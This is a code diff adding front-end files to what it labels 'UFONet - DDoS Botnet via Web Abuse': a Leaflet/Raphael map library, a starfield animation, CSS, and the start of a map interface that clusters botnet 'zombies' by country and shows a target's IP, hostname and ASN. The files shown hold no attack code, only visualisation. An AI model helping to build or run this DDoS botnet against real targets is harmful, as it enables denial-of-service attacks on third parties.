+	hover: function(f_in, f_out, icontext, ocontext) {
+		this._set.hover(f_in, f_out, icontext, ocontext);
+
+		return this;
+	},
+
+	attr: function(name, value) {
+		this._set.attr(name, value);
+
+		return this;
+	}
+});
+
+L.Map.include({
+	_initRaphaelRoot: function () {
+		if (!this._raphaelRoot) {
+			this._raphaelRoot = this._panes.overlayPane;
+			this._paper = Raphael(this._raphaelRoot);
+
+			this.on('moveend', this._updateRaphaelViewport);
+			this._updateRaphaelViewport();
+		}
+	},
+
+	_updateRaphaelViewport: function () {
+		var	p = 0.02,
+			size = this.getSize(),
+			panePos = L.DomUtil.getPosition(this._mapPane),
+			min = panePos.multiplyBy(-1)._subtract(size.multiplyBy(p)),
+			max = min.add(size.multiplyBy(1 + p*2)),
+			width = max.x - min.x,
+			height = max.y - min.y,
+			root = this._raphaelRoot,
+			pane = this._panes.overlayPane;
+
+		this._paper.setSize(width, height);
+		
+		L.DomUtil.setPosition(root, min);
+
+		root.setAttribute('width', width);
+		root.setAttribute('height', height);
+		
+		this._paper.setViewBox(min.x, min.y, width, height, false);
+		
+	}
+});
+
+R.Marker = R.Layer.extend({
+	initialize: function(latlng, pathString, attr, options) {
+		R.Layer.prototype.initialize.call(this, options);
+
+		this._latlng = latlng;
+		this._pathString = (typeof pathString == 'string' ? pathString : 'M16,3.5c-4.142,0-7.5,3.358-7.5,7.5c0,4.143,7.5,18.121,7.5,18.121S23.5,15.143,23.5,11C23.5,6.858,20.143,3.5,16,3.5z M16,14.584c-1.979,0-3.584-1.604-3.584-3.584S14.021,7.416,16,7.416S19.584,9.021,19.584,11S17.979,14.584,16,14.584z');
+		this._attr = (typeof pathString == 'object' ? pathString : (attr ? attr : {'fill': '#000'}));
+	},
+
+	projectLatLngs: function() {		
+		if (this._path) this._path.remove();
+
+		var p = this._map.latLngToLayerPoint(this._latlng);
+		var r = Raphael.pathBBox(this._pathString);
+		
+		this._path = this._paper.path(this._pathString)
+			.attr(this._attr)
+			.translate(p.x - 1.05*r.width, p.y - 1.15*r.height)
+			.toFront();
+
+		this._set.push(this._path);
+	}
+});
+
+R.Pulse = R.Layer.extend({
+	initialize: function(latlng, radius, attr, pulseAttr, options) {
+		R.Layer.prototype.initialize.call(this, options);
+
+		this._latlng = latlng;
+		this._radius = (typeof radius == 'number' ? radius : 6);
+		this._attr = (typeof radius == 'object' ? radius : (typeof attr == 'object' ? attr : {'fill': '#30a3ec', 'stroke': '#30a3ec'}));
+		this._pulseAttr = (typeof radius == 'object' ? attr : typeof pulseAttr == 'object' ? pulseAttr : {
+			'stroke-width': 3,
+			'stroke': this._attr.stroke
+		});
+		this._repeat = 3;
+	},
+
+	onRemove: function (map) {
+		R.Layer.prototype.onRemove.call(this, map);
+
+		if(this._marker) this._marker.remove();		
+		if(this._pulse) this._pulse.remove();
+	},
+
+	projectLatLngs: function() {
+		if(this._marker) this._marker.remove();
+		if(this._pulse) this._pulse.remove();
+
+		var p = this._map.latLngToLayerPoint(this._latlng);
+
+		this._marker = this._paper.circle(p.x, p.y, this._radius).attr(this._attr);
+		this._pulse = this._paper.circle(p.x, p.y, this._radius).attr(this._pulseAttr);
+
+		var anim = Raphael.animation({
+						'0%': {transform: 's0.3', opacity: 1.0},
+						'100%': {transform: 's3.0', opacity: 0.0, easing: '<'}
+					}, 1000);
+
+		this._pulse.animate(anim.repeat(this._repeat));
+	}
+});
+
+R.Polyline = R.Layer.extend({
+	
+	initialize: function(latlngs, attr, options) {
+		R.Layer.prototype.initialize.call(this, options);
+
+		this._latlngs = latlngs;
+		this._attr = attr || {'fill': '#000', 'stroke': '#000'};
+	},
+
+	projectLatLngs: function() {
+		this._set.clear();	
+		if (this._path) this._path.remove();
+		
+		this._path = this._paper.path(this.getPathString())
+			.attr(this._attr)
+			.toBack();
+
+		this._set.push(this._path);
+	},
+
+	getPathString: function() {
+		for(var i=0, len=this._latlngs.length, str=''; i<len; i++) {
+			var p = this._map.latLngToLayerPoint(this._latlngs[i]);
+			str += (i ? 'L' : 'M') + p.x + ' ' + p.y;
+		}
+		return str;
+	}
+});
+
+R.Polygon = R.Layer.extend({
+	
+	initialize: function(latlngs, attr, options) {
+		R.Layer.prototype.initialize.call(this, options);
+
+		if(latlngs.length == 1) {
+			if(latlngs[0] instanceof Array) {
+				latlngs = latlngs[0];
+			}
+		}
+
+		this._latlngs = latlngs;
+		this._attr = attr || {'fill': 'rgba(255, 0, 0, 0.5)', 'stroke': '#f00', 'stroke-width': 2};
+	},
+
+	projectLatLngs: function() {
+		if (this._path) this._path.remove();
+		
+		this._path = this._paper.path(this.getPathString())
+			.attr(this._attr)
+			.toBack();
+
+		this._set.push(this._path);
+	},
+
+	getPathString: function() {
+		for(var i=0, len=this._latlngs.length, str=''; i<len; i++) {
+			var p = this._map.latLngToLayerPoint(this._latlngs[i]);
+			str += (i ? 'L' : 'M') + p.x + ' ' + p.y;
+		}
+		str += 'Z';
+
+		return str;
+	}
+});
+
+R.PolygonGlow = R.Layer.extend({
+	initialize: function(latlngs, attr, options) {
+		R.Layer.prototype.initialize.call(this, options);
+
+		this._latlngs = latlngs;
+		this._attr = attr || {'fill': 'rgba(255, 0, 0, 1)', 'stroke': '#f00', 'stroke-width': 3};
+	},
+
+	onRemove: function(map) {
+		R.Layer.prototype.onRemove.call(this, map);
+		
+		if(this._path) this._path.remove();
+	},
+
+	projectLatLngs: function() {	
+		if (this._path) this._path.remove();
+		
+		this._path = this._paper.path(this.getPathString())
+			.attr(this._attr)
+			.toBack();
+
+		var p = this._path;
+
+		var fadeIn = function() {
+			p.animate({
+				'fill-opacity': 0.25
+			}, 1000, '<', fadeOut);
+		};
+
+		var fadeOut = function() {
+			p.animate({
+				'fill-opacity': 1
+			}, 1000, '<', fadeIn);
+		};
+
+		fadeOut();
+	},
+
+	getPathString: function() {
+		for(var i=0, len=this._latlngs.length, str=''; i<len; i++) {
+			var p = this._map.latLngToLayerPoint(this._latlngs[i]);
+			str += (i ? 'L' : 'M') + p.x + ' ' + p.y;
+		}
+		str += 'Z';
+
+		return str;
+	}
+});
+
+R.Bezier = R.Layer.extend({
+	initialize: function(latlngs, attr, options) {
+		R.Layer.prototype.initialize.call(this, options);
+
+		this._latlngs = latlngs;
+		this._attr = attr;
+	},
+
+	projectLatLngs: function() {
+		if(this._path) this._path.remove();
+		
+		var start = this._map.latLngToLayerPoint(this._latlngs[0]),
+			end = this._map.latLngToLayerPoint(this._latlngs[1]),
+			cp = this.getControlPoint(start, end);
+
+		this._path = this._paper.path('M' + start.x + ' ' + start.y + 'Q' + cp.x + ' ' + cp.y + ' ' + end.x + ' ' + end.y)
+			.attr(this._attr)
+			.toBack();
+
+		this._set.push(this._path);
+	},
+
+	getControlPoint: function(start, end) {
+		var cp = { x: 0, y: 0 };
+		cp.x = start.x + (end.x - [start.x]) / 2;
+		cp.y = start.y + (end.y - [start.y]) / 2;
+		var amp = 0;
+
+		if (this.closeTo(start.x, end.x) && !this.closeTo(start.y, end.y)) {
+			amp = (start.x - end.x) * 1 + 15 * (start.x >= end.x ? 1 : -1);
+			cp.x = Math.max(start.x, end.x) + amp;
+		} else {
+			amp = (end.y - start.y) * 1.5 + 15 * (start.y < end.y ? 1 : -1);
+			cp.y = Math.min(start.y, end.y) + amp;
+		}
+		return cp;
+	},
+
+	closeTo: function(a, b) {
+		var t = 15;
+  		return (a - b > -t && a - b < t);
+	}
+});
+
+R.BezierAnim = R.Layer.extend({
+	initialize: function(latlngs, attr, cb, options) {
+		R.Layer.prototype.initialize.call(this, options);
+
+		this._latlngs = latlngs;
+		this._attr = attr;
+		this._cb = cb;
+	},
+
+	onRemove: function (map) {
+		R.Layer.prototype.onRemove.call(this, map);
+		
+		if(this._path) this._path.remove();
+		if(this._sub) this._sub.remove();
+	},
+
+	projectLatLngs: function() {
+		if(this._path) this._path.remove();
+		if(this._sub) this._sub.remove();
+		
+		var self = this,
+			start = this._map.latLngToLayerPoint(this._latlngs[0]),
+			end = this._map.latLngToLayerPoint(this._latlngs[1]),
+			cp = this.getControlPoint(start, end),
+			pathString="M"+start.x+" "+start.y+" L"+end.x+" "+end.y,
+			line = this._paper.path(pathString).hide();
+
+		this._paper.customAttributes.alongBezier = function(a) {
+			var r = this.data('reverse');
+			var len = this.data('pathLength');
+
+			return {
+				path: this.data('bezierPath').getSubpath(r ? (1-a)*len : 0, r ? len : a*len)
+			};
+		};
+
+		var sub = this._sub = this._paper.path()
+			.data('bezierPath', line)
+			.data('pathLength', line.getTotalLength())
+			.data('reverse', false)
+			.attr({
+				'stroke': '#BE1E2D',
+				'alongBezier': 0,
+				'stroke-width': 2
+			});
+
+		sub.stop().animate({
+			alongBezier: 1
+		}, 2000, function() {
+			//self._cb();
+			sub.data('reverse', true);
+			// sub.stop().animate({
+			// 	'alongBezier': 0
+			// }, 500, function() { sub.remove(); });
+		});
+	},
+
+	getControlPoint: function(start, end) {
+		var cp = { x: 0, y: 0 };
+		cp.x = start.x + (end.x - [start.x]) / 2;
+		cp.y = start.y + (end.y - [start.y]) / 2;
+		var amp = 0;
+
+		if (this.closeTo(start.x, end.x) && !this.closeTo(start.y, end.y)) {
+			amp = (start.x - end.x) * 1 + 15 * (start.x >= end.x ? 1 : -1);
+			cp.x = Math.max(start.x, end.x) + amp;
+		} else {
+			amp = (end.y - start.y) * 1.5 + 15 * (start.y < end.y ? 1 : -1);
+			cp.y = Math.min(start.y, end.y) + amp;
+		}
+		return cp;
+	},
+
+	closeTo: function(a, b) {
+		var t = 15;
+  		return (a - b > -t && a - b < t);
+	}
+});
+
+R.FeatureGroup = L.FeatureGroup.extend({
+	initialize: function(layers, options) {
+		L.FeatureGroup.prototype.initialize.call(this, layers, options);
+	},
+
+	animate: function(attr, ms, easing, callback) {
+		this.eachLayer(function(layer) {
+			layer.animate(attr, ms, easing, callback);
+		});
+	},
+
+	onAdd: function(map) {
+		L.FeatureGroup.prototype.onAdd.call(this,map);
+
+		this._set = this._map._paper.set();
+
+		for(i in this._layers) {
+			this._set.push(this._layers[i]._set);
+		}
+	},
+
+	hover: function(h_in, h_out, c_in, c_out) {
+		this.eachLayer(function(layer) {
+			layer.hover(h_in, h_out, c_in, c_out);
+		});
+
+		return this;
+	},
+
+	attr: function(name, value) {
+		this.eachLayer(function(layer) {
+			layer.attr(name, value);
+		});
+		
+		return this;
+	}
+});
+
+/*
+ * Contains L.MultiPolyline and L.MultiPolygon layers.
+ */
+
+(function () {
+	function createMulti(Klass) {
+		return R.FeatureGroup.extend({
+			initialize: function (latlngs, options) {
+				this._layers = {};
+				this._options = options;
+				this.setLatLngs(latlngs);
+			},
+
+			setLatLngs: function (latlngs) {
+				var i = 0, len = latlngs.length;
+
+				this.eachLayer(function (layer) {
+					if (i < len) {
+						layer.setLatLngs(latlngs[i++]);
+					} else {
+						this.removeLayer(layer);
+					}
+				}, this);
+
+				while (i < len) {
+					this.addLayer(new Klass(latlngs[i++], this._options));
+				}
+
+				return this;
+			}
+		});
+	}
+
+	R.MultiPolyline = createMulti(R.Polyline);
+	R.MultiPolygon = createMulti(R.Polygon);
+}());
+
+R.GeoJSON = R.FeatureGroup.extend({
+	initialize: function (geojson, options) {
+		L.Util.setOptions(this, options);
+
+		this._geojson = geojson;
+		this._layers = {};
+		
+		if (geojson) {
+			this.addGeoJSON(geojson);
+		}
+	},
+
+	addGeoJSON: function (geojson) {
+		var features = geojson.features,
+		    i, len;
+
+		if (features) {
+			for (i = 0, len = features.length; i < len; i++) {
+				this.addGeoJSON(features[i]);
+			}
+			return;
+		}
+
+		var isFeature = (geojson.type === 'Feature'),
+		    geometry = isFeature ? geojson.geometry : geojson,
+		    layer = R.GeoJSON.geometryToLayer(geometry, this.options.pointToLayer);
+
+		this.fire('featureparse', {
+			layer: layer,
+			properties: geojson.properties,
+			geometryType: geometry.type,
+			bbox: geojson.bbox,
+			id: geojson.id,
+			geometry: geojson.geometry
+		});
+
+		this.addLayer(layer);
+	}
+});
+
+L.Util.extend(R.GeoJSON, {
+	geometryToLayer: function (geometry, pointToLayer) {
+		var coords = geometry.coordinates,
+		    layers = [],
+		    latlng, latlngs, i, len, layer;
+
+		switch (geometry.type) {
+		case 'Point':
+			latlng = this.coordsToLatLng(coords);
+			return pointToLayer ? pointToLayer(latlng) : new R.Marker(latlng);
+
+		case 'MultiPoint':
+			for (i = 0, len = coords.length; i < len; i++) {
+				latlng = this.coordsToLatLng(coords[i]);
+				layer = pointToLayer ? pointToLayer(latlng) : new R.Marker(latlng);
+				layers.push(layer);
+			}
+			return new R.FeatureGroup(layers);
+
+		case 'LineString':
+			latlngs = this.coordsToLatLngs(coords);
+			return new R.Polyline(latlngs);
+
+		case 'Polygon':
+			latlngs = this.coordsToLatLngs(coords, 1);
+			return new R.Polygon(latlngs);
+
+		case 'MultiLineString':
+			latlngs = this.coordsToLatLngs(coords, 1);
+			return new R.MultiPolyline(latlngs);
+
+		case "MultiPolygon":
+			latlngs = this.coordsToLatLngs(coords, 2);
+			return new R.MultiPolygon(latlngs);
+
+		case "GeometryCollection":
+			for (i = 0, len = geometry.geometries.length; i < len; i++) {
+				layer = this.geometryToLayer(geometry.geometries[i], pointToLayer);
+				layers.push(layer);
+			}
+			return new R.FeatureGroup(layers);
+
+		default:
+			throw new Error('Invalid GeoJSON object.');
+		}
+	},
+
+	coordsToLatLng: function (coords, reverse) { // (Array, Boolean) -> LatLng
+		var lat = parseFloat(coords[reverse ? 0 : 1]),
+		    lng = parseFloat(coords[reverse ? 1 : 0]);
+
+		return new L.LatLng(lat, lng, true);
+	},
+
+	coordsToLatLngs: function (coords, levelsDeep, reverse) { // (Array, Number, Boolean) -> Array
+		var latlng,
+		    latlngs = [],
+		    i, len;
+
+		for (i = 0, len = coords.length; i < len; i++) {
+			latlng = levelsDeep ?
+					this.coordsToLatLngs(coords[i], levelsDeep - 1, reverse) :
+					this.coordsToLatLng(coords[i], reverse);
+			latlngs.push(latlng);
+		}
+
+		return latlngs;
+	}
+});
+
+
+
+}());

+ 128 - 0
core/js/stars.js

@@ -0,0 +1,128 @@
+function $i(id) { return document.getElementById(id); }
+function $r(parent,child) { (document.getElementById(parent)).removeChild(document.getElementById(child)); }
+function $t(name) { return document.getElementsByTagName(name); }
+function $c(code) { return String.fromCharCode(code); }
+function $h(value) { return ('0'+Math.max(0,Math.min(255,Math.round(value))).toString(16)).slice(-2); }
+function _i(id,value) { $t('div')[id].innerHTML+=value; }
+function _h(value) { return !hires?value:Math.round(value/2); }
+
+function get_screen_size()
+	{
+	var w=document.documentElement.clientWidth;
+	var h=document.documentElement.clientHeight;
+	return Array(w,h);
+	}
+
+var url=document.location.href;
+
+var flag=true;
+var test=true;
+var n=parseInt((url.indexOf('n=')!=-1)?url.substring(url.indexOf('n=')+2,((url.substring(url.indexOf('n=')+2,url.length)).indexOf('&')!=-1)?url.indexOf('n=')+2+(url.substring(url.indexOf('n=')+2,url.length)).indexOf('&'):url.length):512);
+var w=0;
+var h=0;
+var x=0;
+var y=0;
+var z=0;
+var star_color_ratio=0;
+var star_x_save,star_y_save;
+var star_ratio=256;
+var star_speed=1;
+var star_speed_save=0;
+var star=new Array(n);
+var color;
+var opacity=0.1;
+
+var cursor_x=0;
+var cursor_y=0;
+var mouse_x=0;
+var mouse_y=0;
+
+var canvas_x=0;
+var canvas_y=0;
+var canvas_w=0;
+var canvas_h=0;
+var context;
+
+var key;
+var ctrl;
+
+var timeout;
+var fps=0;
+
+function init()
+	{
+	var a=0;
+	for(var i=0;i<n;i++)
+		{
+		star[i]=new Array(5);
+		star[i][0]=Math.random()*w*2-x*2;
+		star[i][1]=Math.random()*h*2-y*2;
+		star[i][2]=Math.round(Math.random()*z);
+		star[i][3]=0;
+		star[i][4]=0;
+		}
+	var starfield=$i('starfield');
+	starfield.style.position='absolute';
+	starfield.width=w;
+	starfield.height=h;
+	context=starfield.getContext('2d');
+	context.fillStyle='rgb(0,0,0)';
+	context.strokeStyle='rgb(255,255,255)';
+	}
+
+function anim()
+	{
+	mouse_x=cursor_x-x;
+	mouse_y=cursor_y-y;
+	context.fillRect(0,0,w,h);
+	for(var i=0;i<n;i++)
+		{
+		test=true;
+		star_x_save=star[i][3];
+		star_y_save=star[i][4];
+		star[i][0]+=mouse_x>>4; if(star[i][0]>x<<1) { star[i][0]-=w<<1; test=false; } if(star[i][0]<-x<<1) { star[i][0]+=w<<1; test=false; }
+		star[i][1]+=mouse_y>>4; if(star[i][1]>y<<1) { star[i][1]-=h<<1; test=false; } if(star[i][1]<-y<<1) { star[i][1]+=h<<1; test=false; }
+		star[i][2]-=star_speed; if(star[i][2]>z) { star[i][2]-=z; test=false; } if(star[i][2]<0) { star[i][2]+=z; test=false; }
+		star[i][3]=x+(star[i][0]/star[i][2])*star_ratio;
+		star[i][4]=y+(star[i][1]/star[i][2])*star_ratio;
+		if(star_x_save>0&&star_x_save<w&&star_y_save>0&&star_y_save<h&&test)
+			{
+			context.lineWidth=(1-star_color_ratio*star[i][2])*2;
+			context.beginPath();
+			context.moveTo(star_x_save,star_y_save);
+			context.lineTo(star[i][3],star[i][4]);
+			context.stroke();
+			context.closePath();
+			}
+		}
+	timeout=setTimeout('anim()',fps);
+	}
+
+function release()
+	{
+	switch(key)
+		{
+		case 13:
+			context.fillStyle='rgb(0,0,0)';
+			break;
+		}
+	}
+
+function start()
+	{
+	resize();
+	anim();
+	}
+
+function resize()
+	{
+	w=parseInt((url.indexOf('w=')!=-1)?url.substring(url.indexOf('w=')+2,((url.substring(url.indexOf('w=')+2,url.length)).indexOf('&')!=-1)?url.indexOf('w=')+2+(url.substring(url.indexOf('w=')+2,url.length)).indexOf('&'):url.length):get_screen_size()[0]);
+	h=parseInt((url.indexOf('h=')!=-1)?url.substring(url.indexOf('h=')+2,((url.substring(url.indexOf('h=')+2,url.length)).indexOf('&')!=-1)?url.indexOf('h=')+2+(url.substring(url.indexOf('h=')+2,url.length)).indexOf('&'):url.length):get_screen_size()[1]);
+	x=Math.round(w/2);
+	y=Math.round(h/2);
+	z=(w+h)/2;
+	star_color_ratio=1/z;
+	cursor_x=x;
+	cursor_y=y;
+	init();
+	}

+ 125 - 0
core/js/style.css

@@ -0,0 +1,125 @@
+body{
+	font-family: 'SourceSansPro-Regular', Arial, serif;
+	font-size: 12px;
+}
+.header{
+	width: inherit;
+	height: 20px;
+	text-align: center;
+	color:red;
+	font-size: 14px;
+}
+
+#url{
+	top:50px;
+	font-size: 30px;
+	color:#7777;
+	font-family: 'SourceSansPro-Bold';
+	text-shadow: 0px 2px 3px rgba(150, 150, 150, 1)
+}
+
+#map {
+ z-index:1;
+ top: 0px;
+ left: 0px;
+ position:absolute; 
+}
+
+.bar{
+	z-index:2;
+	top:0px;
+	left:0px;
+	width:20px;
+	height:100%;
+	position:absolute;
+        background-color:rgba(255, 255, 255, 0.8);
+	-webkit-box-shadow:  12px 0px 8px -4px rgba(0, 0, 0, 0.5);
+    box-shadow:  12px 0px 8px -4px rgba(0, 0, 0, 0.5);
+    overflow: auto;
+}
+
+#button{
+	z-index:4;
+	float:right;
+	width: 10px;
+	height: 90%;
+	padding: 5px;
+	font-size: 20px;
+
+}
+
+.info{
+	z-index: 3;
+	width:250;
+	position: absolute;
+	top: 0px;
+	z-index: 4;
+	color:black;
+	padding: 15px;
+	float: left;
+	overflow: auto;
+	
+}
+.test{
+	background: repeat;
+}
+
+.divider{
+	font-size: 14;
+	text-align: center;
+}
+#footer{
+	bottom:0;
+	overflow: auto;
+}
+.info a {
+	color:#6cb9f7;
+}
+.info img{
+	top :0px;
+}
+.info p {
+	overflow: auto;
+	padding-left: 10px;
+}
+.info #info-text{
+	text-align: justify;
+	height:inherit;
+	overflow: auto;
+
+}
+.toggle{
+	text-align: center;
+	font-weight: 700;
+	cursor: pointer;
+	font-size: 14;
+}
+
+#metadata{
+	visibility: hidden;
+}
+
+.bc-custom-control {
+    background-color:rgba(255, 255, 255, 0.7);
+    box-shadow: 0 1px 7px rgba(0,0,0,0.65);
+    -webkit-border-radius: 4px;
+            border-radius: 4px;
+    font-color: black;
+    color: black;
+    border-radius: 4px;
+    margin: 10px;
+    padding: 10px;
+}
+
+.leaflet-container a{
+    font-weight:700;
+}
+
+#error{
+    text-align: center;
+    font-weight: 700;
+    cursor: pointer;
+    font-size: 14;
+    color:red;
+    margin:42px; 
+}

File diff suppressed because it is too large
+ 101 - 0
core/js/ufo-cloud.css


+ 442 - 0
core/js/ufo.js

<
@@ -0,0 +1,442 @@
+/*
+UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+// this variable defines the delay between each ajax update (statistics and geoip information)
+var AJAX_DELAY = 1234
+
+// interface control definitions, managed by leaflet
+var UfoControlClass = L.Control.extend({
+    options: {
+        position: 'bottomright'
+    },
+    onAdd: function (map) {
+        var container = L.DomUtil.create('div', 'ufo_msg_div leaflet-control-layers leaflet-control-layers-expanded')
+	L.DomEvent.on(container,'mousedown',L.DomEvent.stopPropagation)
+	    .on(container,'doubleclick',L.DomEvent.stopPropagation)
+	    .on(container,'click',L.DomEvent.stopPropagation)
+	return container;
+    }
+});
+
+var UfoTitleClass = L.Control.extend({
+    options: {
+        position: 'topleft'
+    },
+    onAdd: function (map) {
+        var container = L.DomUtil.create('div', 'ufo_title_div leaflet-control-layers leaflet-control-layers-expanded')
+        return container;
+    }
+});
+
+var UfoErrorClass = L.Control.extend({
+    options: {
+        position: 'bottomleft'
+    },
+    onAdd: function (map) {
+        var container = L.DomUtil.create('div', 'ufo_error_div leaflet-control-layers leaflet-control-layers-expanded')
+        return container;
+    }
+});
+
+var UfoStatClass = L.Control.extend({
+    options: {
+        position: 'bottomleft'
+    },
+    onAdd: function (map) {
+        var container = L.DomUtil.create('div', 'ufo_stat_div leaflet-control-layers leaflet-control-layers-expanded')
+	L.DomEvent.on(container,'mousedown',L.DomEvent.stopPropagation)
+	    .on(container,'doubleclick',L.DomEvent.stopPropagation)
+	    .on(container,'click',L.DomEvent.stopPropagation)
+        return container;
+    }
+});
+
+// leaflet cluster, regrouping zombies by country
+function Cluster(){
+    this._clusters=new Array()
+    this.add=function(zombie,marker){
+	cc=zombie.country_code
+	cg=false
+	if(cc){
+	    cg=this.find(cc)
+	    if(cg==false){
+		cg=new L.MarkerClusterGroup()
+		this._clusters.push({"cc":cc,"z":zombie,"cg":cg})
+	    }
+	    cg.addLayer(marker)
+	    map.addLayer(cg)
+	}
+    }
+    this.find=function(cc){
+	for(c in this._clusters){
+	    if(this._clusters[c].cc==cc){
+		return this._clusters[c].cg
+	    }
+	}
+	return false
+    }
+}
+
+// Target object
+function Doll(name){
+    this.name = name
+    this.data=false
+    this.latlong = false
+    this.city = false
+    this.country = false
+    this.country_code = false
+    this.asn = false
+    this.ip = false
+    this.hostname = false
+    this.drawnLayers = new Array()
+    this.show=function(){
+	    target_icon=L.icon({iconUrl:"/js/leaflet/images/marker-icon.png",
+				iconSize: [25, 41],
+				iconAnchor: [13, 42],
+				popupAnchor: [-3, -76],
+				shadowUrl: '/js/leaflet/images/marker-shadow.png',
+				shadowSize: [68, 95],
+				shadowAnchor: [22, 94]
+			       })
+	var marker = L.marker(this.latlong,{icon: target_icon})
+	var popup = L.Popup({
+	    maxHeight: 50})
+	var popupcontent = "<b>"+this.name+"</b>"
+	    +"<br />-------------<br />"        
+	    +"Localisation: "+this.city+"/"+this.country
+	    +"<br/>"
+	    +"IP: "+this.ip+"<br/>"
+	    +"Hostname: "+this.hostname+"<br/>"
+	    +"ASN: "+this.asn+"<br/>"
+	marker.bindPopup(popupcontent)
+	this.drawnLayers.push(marker)
+	map.addLayer(marker)
+    }